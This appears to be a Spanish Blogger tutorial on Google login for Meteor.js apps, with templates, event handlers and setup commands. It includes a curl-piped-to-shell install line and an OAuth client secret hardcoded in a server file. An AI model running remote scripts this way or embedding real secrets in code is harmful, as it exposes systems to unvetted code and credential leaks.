<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <div class="navbar"></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <div class="navbar-inner"></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <div class="container pull-right"></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <span class="text-success">{{currentUser.profile.name}}</span></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <img class="img-rounded" </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> style="height: 32px; margin-top: 4px;" </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> src="{{currentUser.services.google.picture}}"/></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <span style="color: purple;"><b><div id="cerrarSesion" class="btn btn-primary">Cerrar Sesión</div></b></span></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> </div></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> </div></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> </div></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <b><span style="color: magenta;">{{> contenido}}</span></b></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"></template></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><template <span style="color: red;"><b>name="usuarioNoAutenticado"</b></span>></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <div class="alert"></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <span class="icon-exclamation-sign"/> Debe Autenticarse!</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <b><span style="color: #0b5394;"><div id="iniciarSesion" class="btn btn-info">Iniciar Sesión</div></span></b></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> </div></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"></template></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><template <span style="color: magenta;"><b>name="contenido"</b></span>></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <iframe width="100%" height="500px" src="http://www.meteor.com"></iframe></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"></template></span></div>
<div style="font-weight: bold;">
<br /></div>
A diferencia de la implementación anterior, esta es más prolija, la página web se limita al siguiente código:</div>
<div>
<div style="font-weight: normal;">
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><head></span></div>
<div style="font-weight: normal;">
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <title>Login con Google</title></span></div>
<div style="font-weight: normal;">
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"></head></span></div>
<div style="font-weight: normal;">
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><body></span></div>
<div style="font-weight: normal;">
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <b><span style="color: blue;">{{> inicial}}</span></b></span></div>
<div style="font-weight: normal;">
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"></body></span></div>
<div style="font-weight: bold;">
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><br /></span></div>
La plantila <b style="font-family: 'Courier New', Courier, monospace; font-size: small;"><span style="color: blue;">{{> inicial}}</span></b> renderiza contenido en base a si el usuario actual está logueado o no.</div>
<div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> {{#if currentUser}}</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <span style="color: #274e13;"><b>{{> usuarioAutenticado}}</b></span></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> {{else}}</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <span style="color: #cc0000;"><b>{{> usuarioNoAutenticado}}</b></span></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> {{/if}}</span></div>
</div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><br /></span></div>
La plantilla <b style="color: #274e13; font-family: 'Courier New', Courier, monospace; font-size: small;">{{> usuarioAutenticado}}</b> mostrará una barra de navegación que a la derecha contendrá el nombre del usuario logueado, su avatar y un botón que permitirá cerrar la sesión, luego se mostrará el contenido de la página web. El botón cerrar sesión es nuestro componente personalizado y lo que más nos interesa es su id, ya que lo utilizaremos para programarle la escucha de eventos.<div>
La barra de navegación debería verse más o menos así:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiU6aqRGI0kQDPtvraEOrQ99r32jCPr1pYnb-2FvsNFb6OW5TJu0EoYcOfy3WCO3Mw8JlFvN2S2ODt3wcfy3WQT_IGSU2qFGK0NLBbJDZfTk8bE3REhyphenhyphenoXiCxkCsAlHlXdVM3tm/s1600/Selecci%C3%B3n_210.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiU6aqRGI0kQDPtvraEOrQ99r32jCPr1pYnb-2FvsNFb6OW5TJu0EoYcOfy3WCO3Mw8JlFvN2S2ODt3wcfy3WQT_IGSU2qFGK0NLBbJDZfTk8bE3REhyphenhyphenoXiCxkCsAlHlXdVM3tm/s1600/Selecci%C3%B3n_210.png" height="170" width="400" /></a></div>
<div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><br /></span></div>
</div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><br /></span></div>
<div>
La plantilla <b style="color: #cc0000; font-family: 'Courier New', Courier, monospace; font-size: small;">{{> usuarioNoAutenticado}}</b> mostrará un alerta que indicará la necesidad de iniciar sesión a la izquierda de la pantalla. El mensaje de alerta contiene además un botón que permite inicar la sesión, este es nuestro componente personalizado y su id es <b style="font-family: 'Courier New', Courier, monospace; font-size: small;"><span style="color: #0b5394;">"iniciarSesion"</span></b>. El mensaje de alerta debería verse más o menos así:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiW04ga7aRRP5Mc7ybsr5gB_-aHgTERreX_Y5LSknHRNm8o-HzEzQW871KitKH9P7HqYkaprF2ONvkkqFSZyHkkTQuqV8i0MYrAopFhdzG8fWrCgjrtc07qwCaLJnPaefMS01wa/s1600/Selecci%C3%B3n_211.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiW04ga7aRRP5Mc7ybsr5gB_-aHgTERreX_Y5LSknHRNm8o-HzEzQW871KitKH9P7HqYkaprF2ONvkkqFSZyHkkTQuqV8i0MYrAopFhdzG8fWrCgjrtc07qwCaLJnPaefMS01wa/s1600/Selecci%C3%B3n_211.png" height="68" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<b>Programación de eventos (archivo <span style="font-family: Courier New, Courier, monospace;">client/index.js</span>)</b></div>
<div>
Solo nos resta programar la interacción del usuario, en otras palabras, definir lo que ocurrirá cuando el usuario haga click en el botón "iniciar Sesión" o en el botón "Cerrar Sesión". Copiamos el siguiente código:</div>
<div>
<br /></div>
<div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">Template.<b style="background-color: white;"><span style="color: #274e13;">usuarioAutenticado</span></b>.events({</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> "click <span style="color: purple;"><b>#cerrarSesion</b></span>":function(event,template){</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <b>Meteor.logout</b>(function(err){</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> if(err){</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <span style="color: #274e13;">// manejar error</span></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> }else{</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <span style="color: #274e13;">// todo ok</span></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> }</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> });</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> }</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">});</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">Template.<span style="color: #cc0000;"><b>usuarioNoAutenticado</b></span>.events({</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> "click <b><span style="color: #0b5394;">#iniciarSesion</span></b>":function(event,template){</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <b>Meteor.loginWithGoogle({</b></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><b> requestPermissions: ['profile']</b></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><b> }</b>, function(err){</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> if(err){</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <span style="color: #274e13;">// manejar error</span></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> }else{</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <span style="color: #274e13;"> // todo ok</span></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> }</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> });</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> }</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">});</span></div>
</div>
<div>
<br />La programación o definicion de eventos en Meteor es muy simple y autodescriptiva. Los evenetos se programan en el ámbito de una plantilla, luego se define el evento y luego la regla de búsqueda de componentes a los cuales se les programará el evento.</div>
<div>
En nuestro caso, en la plantilla <b style="background-color: white; font-family: 'Courier New', Courier, monospace; font-size: small;"><span style="color: #274e13;">usuarioAutenticado</span></b> al hacer click en el botón con id <b style="color: purple; font-family: 'Courier New', Courier, monospace; font-size: small;">cerrarSesion</b> llamamos al método <b style="font-family: 'Courier New', Courier, monospace; font-size: small;">Meteor.logout </b>el cual solo recibe como parámetro una función de retrollamada la cual nos permite manejar el resultado de la operación mediante el parámetro <span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;">err.</span></div>
<div>
<span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"><br /></span></div>
<div>
Para el caso de la plantilla <b style="color: #cc0000; font-family: 'Courier New', Courier, monospace; font-size: small;">usuarioNoAutenticado </b> al hacer click en el botón con id <b style="font-family: 'Courier New', Courier, monospace; font-size: small;"><span style="color: #0b5394;">iniciarSesion</span></b> llamamos al método <b style="font-family: 'Courier New', Courier, monospace; font-size: small;">Meteor.</b><b style="font-family: 'Courier New', Courier, monospace; font-size: small;">loginWithGoogle</b><b style="font-family: 'Courier New', Courier, monospace; font-size: small;"> </b>el cual recibe como primer parámetro un arreglo llamado <b style="font-family: 'Courier New', Courier, monospace; font-size: small;">requestPermissions</b> en el cual definimos los permisos que kle requerimos a google, en este caso solo hemos requerido el permiso <b style="font-family: 'Courier New', Courier, monospace; font-size: small;">profile</b> el cual nos permitirá acceder a información básica de la cuenta, como segundo parámetro una función de retrollamada la cual nos permite manejar el resultado de la operación mediante el parámetro <span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;">err.</span></div>
<br />Bien, eso es todo, espero les sea de utilidad.<br /><br />Saludos<br /><br />MarianoAnonymoushttp://www.blogger.com/profile/07443500083877011375noreply@blogger.com0tag:blogger.com,1999:blog-22972149.post-12077007368411098422013-06-20T15:44:00.000-03:002013-06-20T20:01:24.999-03:00Usar autenticación de Google para aplicaciones Meteor.js (utilizando accounts-ui)Hola estimad@s,<br />
<br />
este post está dedicado a una tecnología con la cual vengo "jugando" hace un tiempo, se trata de <a href="http://www.meteor.com/">Meteor.js</a>, en pocas palabras se trata de un framework creado para <a href="http://node.js/">Node.js</a> que nos permite crear aplicaciones web de muy alto nivel en tiempos record.<br />
Esta definición se acerca a la que pude verse en la página oficial, pero está basada en mi experiencia, con esto quiero decir que no me cabe ninguna duda de que realmente "hace lo que dicen sus creadores".<br />
<br />
El post no es una introducción a Meteor ni mucho menos, es una solución puntual a un problema rutinario en nuestras aplicaciones web y es el de utilizar mecanismos de autenticación externos, en este caso el de Google. Dicho esto pondremos manos a la obra:<br />
<br />
Debemos contar con Node y Meteor instalados:<br />
<br />
<br />
<ul>
<li>Instalación de Node en Ubuntu: </li>
</ul>
<div>
<b><span style="font-family: Courier New, Courier, monospace;">sudo apt-get install python-software-properties </span></b></div>
<div>
<b><span style="font-family: Courier New, Courier, monospace;"><a href="https://www.blogger.com/blogger.g?blogID=22972149"></a>sudo add-apt-repository ppa:chris-lea/node.js </span></b></div>
<div>
<b><span style="font-family: Courier New, Courier, monospace;"><a href="https://www.blogger.com/blogger.g?blogID=22972149"></a>sudo apt-get update </span></b></div>
<div>
<b><span style="font-family: Courier New, Courier, monospace;"><a href="https://www.blogger.com/blogger.g?blogID=22972149"></a>sudo apt-get install nodejs npm</span></b><br />
<pre><ul>
<li>Instalación de Node en Debian:</li>
</ul>
<b style="font-family: 'Courier New', Courier, monospace;">apt-get install python g++ make
mkdir ~/nodejs && cd $_
wget -N http://nodejs.org/dist/node-latest.tar.gz
tar xzvf node-latest.tar.gz && cd `ls -rd node-v*`
./configure
make install</b>
<ul>
<li><span style="font-family: Times, 'Times New Roman', serif;">Instalación de Meteor: </span></li>
</ul>
<b><span style="font-family: Courier New, Courier, monospace;">curl https://install.meteor.com | /bin/sh</span></b>
</pre>
<br />
<b>Comenzamos con el proyecto</b><br />
<br />
Ahora crearemos el proyecto:<br />
<span style="font-family: Courier New, Courier, monospace;"><b>meteor create loginConGoogle</b> </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">loginConGoogle: created.
To run your new app: </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> cd loginConGoogle </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> meteor</span><br />
<br />
Eliminamos todos los archivos del proyecto:<br />
<span style="font-family: Courier New, Courier, monospace;"><b>
cd loginConGoogle<br /> rm *.js *.css *.html</b></span><br />
<br />
Creamos la estructura de directorios para componentes de nuestra aplicación:<br />
<span style="font-family: Courier New, Courier, monospace;"><b>mkdir client </b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><b>mkdir server
</b></span><br />
<br />
Instalamos el módulo de contiene los widgets para trabajar con cuentas:<br />
<span style="font-family: Courier New, Courier, monospace;"><b>meteor add accounts-ui</b> </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">accounts-ui: Simple templates to add login widgets to an app.</span><br />
<br />
Instalamos el módulo de contiene la lógica para trabajar con cuentas de google:<br />
<span style="font-family: Courier New, Courier, monospace;"><b>
meteor add accounts-google</b></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">accounts-google: Login service for Google accounts</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>Instalamos el módulo que contiene bootstrap: </div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><b>meteor add bootstrap</b><br />bootstrap: Front-end framework from Twitter </span></div>
<div>
<br /></div>
<div>
Creamos los componentes del cliente: </div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><b>touch client/index.html </b></span></div>
<div>
<br /></div>
<div>
Creamos los componentes del server: </div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><b>touch server/configuracion.js </b></span><b style="font-family: 'Courier New', Courier, monospace;"> </b></div>
<div>
<br /></div>
<div>
Iniciamos Meteor: </div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><b>meteor </b></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><b><br /></b></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">[[[[[ ~/loginConGoogle ]]]]] </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">Initializing mongo database... this may take a moment. </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">=> Meteor server running on: http://localhost:3000/</span><br />
<br />
<br />
Iniciamos el navegador en: <span style="font-family: Courier New, Courier, monospace;">http://localhost:3000</span> (no veremos nada inicialmente)</div>
<br />
<br />
<b>Creando los token de autenticación de Google</b><br />
<br />
Utilizando un navegador, accedemos a: <span style="font-family: Courier New, Courier, monospace;">https://code.google.com/apis/console/</span>, luego seleccionamos <span style="font-family: Courier New, Courier, monospace;">API Access</span> y luego <span style="font-family: Courier New, Courier, monospace;">Create an OAuth 2.0 client ID...</span><br />
<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg83_80gqaAZcYTOkYURsuTchZIn1PLe7dVjchxnsDkjKLtddypRst3BWfEOZtaRkFJzGQd3FsKdqUwyyPQ74f45Nduh1JlEO9vNuDI4y6y2QtD2yktXYYWCKLWD4GjW1YP9-L4/s1600/Selecci%C3%B3n_201.png"><img border="0" height="351" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg83_80gqaAZcYTOkYURsuTchZIn1PLe7dVjchxnsDkjKLtddypRst3BWfEOZtaRkFJzGQd3FsKdqUwyyPQ74f45Nduh1JlEO9vNuDI4y6y2QtD2yktXYYWCKLWD4GjW1YP9-L4/s1600/Selecci%C3%B3n_201.png" width="640" /></a>Luego en la primera parte del asistente colocamos nuestros datos según corresponda:<br />
<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjG0s_3c9tTLIyoB56p8cGIi8qNDC4jFOra_PXCWrylUqJscvMwrovilEKKtwmqczrzUPFancFz-a6AhXhvB6zF0oYNafOSR-kP7eoen5tcYBnjbNGGWtAhi585zUopp6MAerxz/s1600/Selecci%C3%B3n_202.png"><img border="0" height="454" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjG0s_3c9tTLIyoB56p8cGIi8qNDC4jFOra_PXCWrylUqJscvMwrovilEKKtwmqczrzUPFancFz-a6AhXhvB6zF0oYNafOSR-kP7eoen5tcYBnjbNGGWtAhi585zUopp6MAerxz/s1600/Selecci%C3%B3n_202.png" width="640" /></a><br />
<br />
Luego configuramos los datos de nuestra aplicación web particular:<br />
<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUY4geLsbKCre7ngWJabJoDDlkgTVOUmsHZLWJ9qTx_zAojQ2iwAI54UEdG14XDUZxXZRbbCjKDzkgbvocHEmSFZbojxkpqPQg0mICSDCU7myIBYpPCAjnh1nGe5Urp2VyWLgx/s1600/Selecci%C3%B3n_203.png"><img border="0" height="573" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUY4geLsbKCre7ngWJabJoDDlkgTVOUmsHZLWJ9qTx_zAojQ2iwAI54UEdG14XDUZxXZRbbCjKDzkgbvocHEmSFZbojxkpqPQg0mICSDCU7myIBYpPCAjnh1nGe5Urp2VyWLgx/s1600/Selecci%C3%B3n_203.png" width="640" /></a><br />
<br />
<br />
La URL <span style="font-family: Courier New, Courier, monospace;">http://localhost:3000/_oauth/google?close</span> es la función de retrollamada, una vez que google nos autentique la llamará y esta función cierra la ventana de login actual en la aplicación Meteor.La URL http://localhost:3000 es la que será autorizada.<br />
<br />
Los datos que se generan son:<br />
<div>
<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6_8XKe3U9SAe0z6ABZD3kdpMWBgPOV-YftvFkj5zuU9R9_dZmuR790F6zxy5Vcd31lZ5_fSM_bGOekjJlEgMjPJTKtrEVkj4SzXd77gja1LmIpBwSVZWOX4nTILrkAUH0k5a9/s1600/Selecci%C3%B3n_204.png"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6_8XKe3U9SAe0z6ABZD3kdpMWBgPOV-YftvFkj5zuU9R9_dZmuR790F6zxy5Vcd31lZ5_fSM_bGOekjJlEgMjPJTKtrEVkj4SzXd77gja1LmIpBwSVZWOX4nTILrkAUH0k5a9/s1600/Selecci%C3%B3n_204.png" /></a>Y los que nos interesan son<span style="font-family: Courier New, Courier, monospace;"> Client ID</span> y<span style="font-family: Courier New, Courier, monospace;"> Client Secret</span><br />
<div>
<br />
<b>Configurando la cuenta de Google en nuestra aplicación</b></div>
<div>
<b><br /></b>Abrimos el archivo <span style="font-family: Courier New, Courier, monospace;">server/configuracion.js </span>y agregamos el siguiente código:</div>
<div>
<br />
<span style="color: #274e13; font-family: Courier New, Courier, monospace; font-size: x-small;"><b>//Quitamos cualquier configuración para </b></span></div>
<div>
<span style="color: #274e13; font-family: Courier New, Courier, monospace; font-size: x-small;"><b>//cuentas de Google </b></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">Accounts.loginServiceConfiguration.remove({ </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> service: "google" </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">}); </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><br /></span></div>
<div>
<span style="color: #274e13; font-family: Courier New, Courier, monospace; font-size: x-small;"><b>//Agregamos la configuración con los datos que obtubimos de Google </b></span></div>
<div>
<span style="color: #274e13; font-family: Courier New, Courier, monospace; font-size: x-small;"><b>//campo clientId <-- Client ID </b></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><span style="color: #274e13;"><b>//campo secret <-- Client Secret</b></span> </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">Accounts.loginServiceConfiguration.insert({ </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> service: "google", </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> clientId: "441624260670-5p0k5et2ns9pnlm8cgtp8bsdf.apps.googleusercontent.com", secret: "3LMwasdfIOXfPqGhyeH4asdf3h" </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">});</span><br />
<br />
Abrimos el archivo<span style="font-family: Courier New, Courier, monospace;"> client/index.hml </span>y agregamos el siguiente código:</div>
<div>
<br />
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><head></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <title>Login con Google</title></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"></head></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><body></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <b>{{#if <span style="color: #274e13;">currentUser</span>}}</b></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <div class="alert"></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <img class="img-rounded" </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> style="height: 32px; margin-top: 4px;" </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> src="<span style="color: #274e13;"><b>{{currentUser.services.google.picture}}</b></span>"/></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <span style="color: #274e13;"><b>{{currentUser.profile.name}}</b></span> <span style="color: blue;"><b>{{loginButtons}}</b></span></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> </div></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <b><span style="color: #cc0000;">{{> contenido}}</span></b></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <b>{{else}}</b></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <div class="alert"></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <span class="icon-exclamation-sign"/> Debe Autenticarse! <span style="color: blue;"><b>{{loginButtons}}</b></span></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> </div></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <b>{{/if}}</b></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"></body></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><template name="<span style="color: #cc0000;"><b>contenido</b></span>"></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <iframe width="100%" height="500px" src="http://www.meteor.com"></iframe></span></div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"></template>></span><br />
<br />
Breve explicación:</div>
<div>
<br />
<b style="font-family: 'Courier New', Courier, monospace;">{{#if <span style="color: #274e13;">currentUser</span>}}</b> indica si el usuario está logueado ya que <b style="font-family: 'Courier New', Courier, monospace;"><span style="color: #274e13;">currentUser</span></b> contiene el id del usuario logueado actualmente.<br />
<br />
Ahora nos logueamos usando el browser:<br />
<br />
<div style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7nhpiRYsVqHdv7Meo44DUrsDwncSC7G7g-e9oA_2aKSEaqaF5Sh9tPKEM5WP3XlP2Rn8WvxHiOTc4jt-0_M-zoaCiwtaj5NQxthbNoYFDV1doXmJZ0c3qW2QDIpDnpm6Mv9bg/s1600/Selecci%C3%B3n_206.png"><img border="0" height="153" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7nhpiRYsVqHdv7Meo44DUrsDwncSC7G7g-e9oA_2aKSEaqaF5Sh9tPKEM5WP3XlP2Rn8WvxHiOTc4jt-0_M-zoaCiwtaj5NQxthbNoYFDV1doXmJZ0c3qW2QDIpDnpm6Mv9bg/s1600/Selecci%C3%B3n_206.png" width="400" /></a>
</div>
Autorizamos manualmente la aplicación por única vez:<br />
<br />
<div style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUa9MeQBavy0r1MU0z8A3eFXfIUUfEkVzKiFoYEidutLLxzuNryj9_1bOJMirKKw9IFYdmbSr1EJ8diqryTS8xzwH10y83y0KiOmNjF8zOKYjJyyfgsmmvWD85G2B7Ce7Ep1o8/s1600/Selecci%C3%B3n_205.png"><img border="0" height="310" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUa9MeQBavy0r1MU0z8A3eFXfIUUfEkVzKiFoYEidutLLxzuNryj9_1bOJMirKKw9IFYdmbSr1EJ8diqryTS8xzwH10y83y0KiOmNjF8zOKYjJyyfgsmmvWD85G2B7Ce7Ep1o8/s1600/Selecci%C3%B3n_205.png" width="400" /></a></div>
<div style="text-align: left;">
Y veremos...</div>
<br />
<br />
<div style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiz8L6YS7gQxPXQuIy-ets6C9uh7fPHsYyjPe4QsAAnR-KT0TzTyXUhgEwWCvKOt6rVOXR7BbfqgMqTuMMVJlnhAKuJIqun12EQsw9ugLHD355Ho9DCiGooyHoUmpiEaNva-pvz/s1600/Selecci%C3%B3n_207.png"><img border="0" height="314" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiz8L6YS7gQxPXQuIy-ets6C9uh7fPHsYyjPe4QsAAnR-KT0TzTyXUhgEwWCvKOt6rVOXR7BbfqgMqTuMMVJlnhAKuJIqun12EQsw9ugLHD355Ho9DCiGooyHoUmpiEaNva-pvz/s1600/Selecci%C3%B3n_207.png" width="640" /></a>
</div>
<div>
<br /></div>
Lo que sigue es solo para Google Chrome, en otros navegadores se realiza de otra forma (en Firefox se puede utilizar Firebug).<br />
<br />
Presionamos botón derecho en la página (en la parte del botón de login) y seleccionamos<span style="font-family: Courier New, Courier, monospace;"> Inspeccionar elemento</span><br />
<br />
<div style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggpEtNIeSuI51TGU47wtPdYnXpzuEKIPihI2Oq6hM08k_LkytXf9DESkMAehVjhDGht8fQAJqgamUnV_1mvrNsYPdPIVrfGfNROlc2QRio2IxEtPaYz05OVgtVGAL2fSMZLe6-/s1600/Men%C3%BA_208.png"><img border="0" height="276" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggpEtNIeSuI51TGU47wtPdYnXpzuEKIPihI2Oq6hM08k_LkytXf9DESkMAehVjhDGht8fQAJqgamUnV_1mvrNsYPdPIVrfGfNROlc2QRio2IxEtPaYz05OVgtVGAL2fSMZLe6-/s1600/Men%C3%BA_208.png" width="320" /></a></div>
<div style="text-align: left;">
Luego seleccionamos <span style="font-family: Courier New, Courier, monospace;">Console</span> y en el prompt ">" escribimos <span style="font-family: Courier New, Courier, monospace;">Meteor.user()</span>, podremos ver:</div>
